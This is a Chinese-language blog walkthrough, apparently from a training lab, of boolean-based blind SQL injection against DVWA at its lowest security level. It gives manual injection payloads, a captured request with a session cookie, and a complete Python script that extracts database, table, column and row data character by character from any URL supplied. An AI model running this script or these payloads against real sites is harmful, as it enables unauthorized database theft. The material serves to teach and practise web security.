DVWA SQL Injection (Blind) SQL 盲注 low 级别

SQL Injection (Blind)

low

根据返回页面判断语句是否正确

当 and 后接的语句为 True(1=1)时,返回 exists

当 and 后接的语句为 False(1=2)时,返回 MISSING

1' and 1=1 #

image-20231115194637588

1' and 1=2 #

image-20231115194805305

漏洞利用

根据语句的布尔值(正确与否),可对数据库名、字段名等信息进行爆破

爆破数据库长度

由于数据库长度比较好判断,进行手工爆破,后面爆破具体库名,表名等操作进行脚本吧爆破

提交以下代码,判断数据库名的长度是否大于十位

1' and length(database())>10 #

返回 missing 页面,说明判断错误,说明数据库名小于等于 10 位

image-20231115204525100

利用二分查找法,判断数据库名长度是否小于五位

1' and length(database())<5 #

返回 missing 页面,说明判断错误,数据库长度在 5-10 位

image-20231115204650787

几 次判断后可知数据库的长度为 8 位,判断正确,返回 exists

1' and length(database())=8 #

image-20231115204931630

脚本准备

获取网站的 Cookie 值,可以 Burpsuite 抓包或者在浏览器中查看

GET /dvwa/vulnerabilities/sqli_blind/?id=1%27+and+1%3D1+%23&Submit=Submit HTTP/1.1
Host: 10.9.47.241
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://10.9.47.241/dvwa/vulnerabilities/sqli_blind/?id=1%27&Submit=Submit
Cookie: security=low; recordurl=%2Chttp%253A%252F%252F10.9.47.241%252Fmetinfo_5.0.4%252F%2Chttp%253A%252F%252F10.9.47.241%252Fmetinfo_5.0.4%252Fabout%252F%2Chttp%253A%252F%252F10.9.47.241%252Fmetinfo_5.0.4%252Fabout%252Findex.php%2Chttp%253A%252F%252F10.9.47.241%252Fmetinfo_5.0.4%252Fabout%252F%2Chttp%253A%252F%252F10.9.47.241%252Fmetinfo_5.0.4%252Fabout%252Findex.php%2Chttp%253A%252F%252F10.9.47.241%252Fmetinfo_5.0.4%252Fabout%252F%2Chttp%253A%252F%252F10.9.47.241%252Fmetinfo_5.0.4%252Fabout%252Findex.php%2Chttp%253A%252F%252F10.9.47.241%252Fmetinfo_5.0.4%252Fabout%252Findex.php%253Fa%253D1; PHPSESSID=p3bccgo7m2m8s8ae41pp6fvva1
Upgrade-Insecure-Requests: 1

经测试,发现 SQL 可能会注入用到的符号 "()_.,' =中,

  • 空格被转义成 +
  • , 被转义成 %2C
  • = 被转义成 %3D
  • # 被转义成 %23

构造 payload 时注意转义

image-20231115210133211

构造脚本爆破

采用按位测试的方法substr(),逐个字母进行判断 ,最后爆破出需要的信息

exp

import string
import requests
import urllib.parse

# 对特殊字符转义
def encode(payload):
    payload = payload.replace(" ", "+")
    payload = payload.replace(",", "%2C")
    payload = payload.replace("=", "%3D")
    payload = payload.replace("#", "%23")
    return payload

# 定义字符集
strings = string.digits + string.ascii_letters + '_'
str = []
for i in strings:
    str.append(i)

# 接收传入的盲注页面 url
blind_url = input("输入sql盲注页面 url:")
# 拼接盲注变量
blind_url+="?id="

# 添加 Cookie
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0",
    "Cookie":  "security=low; recordurl=%2Chttp%253A%252F%252F10.9.47.241%252Fmetinfo_5.0.4%252F%2Chttp%253A%252F%252F10.9.47.241%252Fmetinfo_5.0.4%252Fabout%252F%2Chttp%253A%252F%252F10.9.47.241%252Fmetinfo_5.0.4%252Fabout%252Findex.php%2Chttp%253A%252F%252F10.9.47.241%252Fmetinfo_5.0.4%252Fabout%252F%2Chttp%253A%252F%252F10.9.47.241%252Fmetinfo_5.0.4%252Fabout%252Findex.php%2Chttp%253A%252F%252F10.9.47.241%252Fmetinfo_5.0.4%252Fabout%252F%2Chttp%253A%252F%252F10.9.47.241%252Fmetinfo_5.0.4%252Fabout%252Findex.php%2Chttp%253A%252F%252F10.9.47.241%252Fmetinfo_5.0.4%252Fabout%252Findex.php%253Fa%253D1; PHPSESSID=p3bccgo7m2m8s8ae41pp6fvva1"
}

# 爆破数据库名
def db_name():
    database_name=""
    print("爆破当前数据库****************************************************************************************")

    for i in range(1,9):
        # 每位遍历字母数字下划线
        for j in str:
            payload = f"1' and ascii(substr(database(),{i},1))={ord(j)} #"
            # 对特殊字符转码
            payload = encode(payload)
            attack_url = f"{blind_url}{payload}&Submit=Submit#"
            res = requests.get(url=attack_url,headers=headers)
            if "exists" in res.text:
                print(j,end="")
                break
    print()


def table():
    print("爆破表名*********************************************************************************************")
    for i in range(0, 600):
        # flag 用于避免爆破完每张表的继续进行多余爆破
        flag = 0
        # end 用于避免爆破完表继续进行多余爆破
        end = 0
        # 假设每个表的表名最长30位,每个表名按位查询
        for j in range(1, 30):
            for name_str in str:
                payload = f"1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit {i},1),{j},1))={ord(name_str)} #"
                # 对特殊字符转码
                payload = encode(payload)
                attack_url = f"{blind_url}{payload}&Submit=Submit#"
                res = requests.get(url=attack_url,headers=headers)
                if "exists" in res.text:
                    if end==0:
                        print(f"[{i + 1}]", end="")
                    print(name_str, end="")
                    # 该表名非空(未达到最大表数量)
                    end = 1
                    break
                elif name_str == '_':
                    flag = 1
                    break
            # 跳出超过表长,跳出循环
            if flag == 1:
                break
        # 爆破的数据表超过最大数量,跳出循环
        if end == 0:
            break
        print()


def column():
    print("爆破字段*********************************************************************************************")
    table_name = input("输入要爆破的表名:")

    # 跑第0-100个字段
    for i in range(0, 100):
        end = 0
        # 假设每个表的字段名最长30位,每个字段名按位查询
        for j in range(1, 30):
            flag = 0
            for name_str in str:
                payload = f"1' and ascii(substr((select column_name from information_schema.columns where table_schema = database() and table_name='{table_name}' limit {i},1),{j},1))={ord(name_str)} #"
                # 对特殊字符转码
                payload = encode(payload)
                attack_url = f"{blind_url}{payload}&Submit=Submit#"
                res = requests.get(url=attack_url,headers=headers)
                if "exists" in res.text:
                    if end == 0:
                        print([i + 1], end="")
                    end = 1
                    flag = 1
                    print(name_str, end="")
                    break
            # 超过该字段长度,跳出循环,开始爆破下个字段
            if flag == 0:
                break
        print()
        if end == 0:
            break


def data():
    print("爆破数据*********************************************************************************************")
    table=input("输入要爆破的表名")
    column = input("输入要爆破的字段:")
    # 跑第0-100个用户名
    for i in range(0, 100):
        end = 0
        # 假设每个用户的表名最长100位,每个用户名按位查询
        for j in range(1, 100):
            flag = 0
            for name_str in str:
                payload = f"1' and ascii(substr((select {column} from {table} limit {i},1),{j},1))={ord(name_str)} #"
                # 对特殊字符转码
                payload = encode(payload)
                attack_url = f"{blind_url}{payload}&Submit=Submit#"
                res = requests.get(url=attack_url,headers=headers)
                if "exists" in res.text:
                    end = 1
                    flag = 1
                    print(name_str, end="")
                    break
            if flag == 0:
                break
        print()
        if end == 0:
            break


try:
    db_name()
    table()
    column()
    while(True):
        choice = input("是否爆破其他表(yes or no):")
        if choice=="yes":
            column()
        else:
            break
    data()
    while(True):
        choice = input("是否爆破其他字段(yes or no):")
        if choice=="yes":
            data()
        else:
            break
except:
    print("something error")
    pass

image-20231115230058395

  • 33
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

gjl_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值